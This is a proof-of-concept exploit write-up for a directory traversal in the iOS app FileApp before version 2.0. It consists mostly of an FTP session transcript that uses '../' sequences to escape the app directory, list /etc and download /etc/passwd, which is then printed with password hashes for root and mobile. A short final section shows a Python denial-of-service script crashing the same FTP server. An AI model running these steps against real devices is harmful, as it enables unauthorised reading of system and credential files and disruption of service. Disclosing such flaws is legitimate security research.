iOS FileApp < 2.0 - Directory Traversal
# Title : FileApp < 2.0 directory traversal for iPhone,iPod,iPad # Date : 02/10/2010 # Author : m0ebiusc0de # Software : http://www.digidna.net/products/fileapp/download # Version : FileApp < v.2.0, iPad 3.2.2 (jailed) # Tested on : Windows XP PRO SP3 [+][+] 0x01. Directory Traversal PoC [+][+] Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator>ftp ftp> open To 192.168.1.100 2121 Connected to 192.168.1.100. 220 FileApp - FTP Server User (192.168.1.100:(none)): 331 Password please. Password: 230 User logged in. ftp> dir 200 PORT 192.168.1.106:46885 OK 150 BINARY data connection established. drwxr-xr-x 2 501 501 1564 Sep 29 18:10 Start Here -rw-r--r-- 1 501 501 1335 Sep 29 13:42 a.html 226 Directory list has been submitted. ftp: 122 bytes received in 0.00Seconds 122000.00Kbytes/sec. ftp> cd ../../../../../../ 250 OK ftp> dir 200 PORT 192.168.1.106:46887 OK 150 BINARY data connection established. drwxrwxr-x 19 0 80 646 Aug 5 14:18 Applications drwxrwxr-x 2 0 80 68 May 29 08:51 Developer drwxrwxr-x 15 0 80 646 Aug 5 14:18 Library drwxr-xr-x 3 0 0 102 May 29 08:56 System drwxr-xr-x 2 0 0 102 Aug 5 14:23 bin drwxrwxr-x 2 0 80 68 Jan 16 03:56 cores dr-xr-xr-x 3 0 0 1353 Oct 2 17:58 dev lrwxrwxrwx 1 0 80 11 Aug 5 14:18 etc -> private/etc drwxr-xr-x 4 0 0 136 Sep 12 20:06 private drwxr-xr-x 2 0 0 442 Aug 5 14:23 sbin drwxr-xr-x 7 0 0 238 Aug 5 14:11 usr lrwxrwxrwx 1 0 80 11 Aug 5 14:18 var -> private/var 226 Directory list has been submitted. ftp: 716 bytes received in 0.02Seconds 44.75Kbytes/sec. ftp> cd ../../../../../../etc/ 250 OK ftp> dir 200 PORT 192.168.1.106:46888 OK 150 BINARY data connection established. drwxr-xr-x 2 0 0 272 May 29 09:06 bluetool -rw-r--r-- 1 0 0 78 Sep 12 20:06 fstab -rw-r--r-- 1 0 0 1262 Jan 16 03:56 group -rw-r--r-- 1 0 0 236 Jan 16 03:56 hosts -rw-r--r-- 1 0 0 0 Jan 16 03:56 hosts.equiv -rw-r--r-- 1 0 0 53 Jan 16 03:56 networks -rw-r--r-- 1 0 0 132 May 29 07:12 notify.conf -rw-r--r-- 1 0 0 611 Jan 16 03:56 passwd drwxr-xr-x 2 0 0 68 Aug 5 10:15 ppp -rw-r--r-- 1 0 0 5766 Jan 16 03:56 protocols drwxr-xr-x 3 0 0 170 May 29 08:03 racoon -rw-r--r-- 1 0 0 677959 Jan 16 03:56 services -rw-r--r-- 1 0 0 1367 Jan 16 03:56 ttys 226 Directory list has been submitted. ftp: 766 bytes received in 0.02Seconds 47.88Kbytes/sec. ftp> get ../../../../../../etc/passwd 200 PORT 192.168.1.106:46894 OK 150 BINARY data connection established. 226 File transmission successful. ftp: 611 bytes received in 0.00Seconds 611000.00Kbytes/sec. ftp> quit 221 Thanks for using FileApp ! C:\Documents and Settings\Administrator>cat passwd ## # User Database # # This file is the authoritative user database. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:/smx7MYTQIi2M:0:0:System Administrator:/var/root:/bin/sh mobile:/smx7MYTQIi2M:501:501:Mobile User:/var/mobile:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _wireless:*:25:25:Wireless Services:/var/empty:/usr/bin/false _securityd:*:64:64:securityd:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false C:\Documents and Settings\Administrator> [+][+] 0x02. Remote DoS PoC TEST [+][+] C:\Python25>python FileApp_DoS.py 192.168.1.100 [+] Connecting to the target.. [+] Exploited! C:\Python25>python FileApp_DoS.py 192.168.1.100 [-] Connection error! C:\Python25> |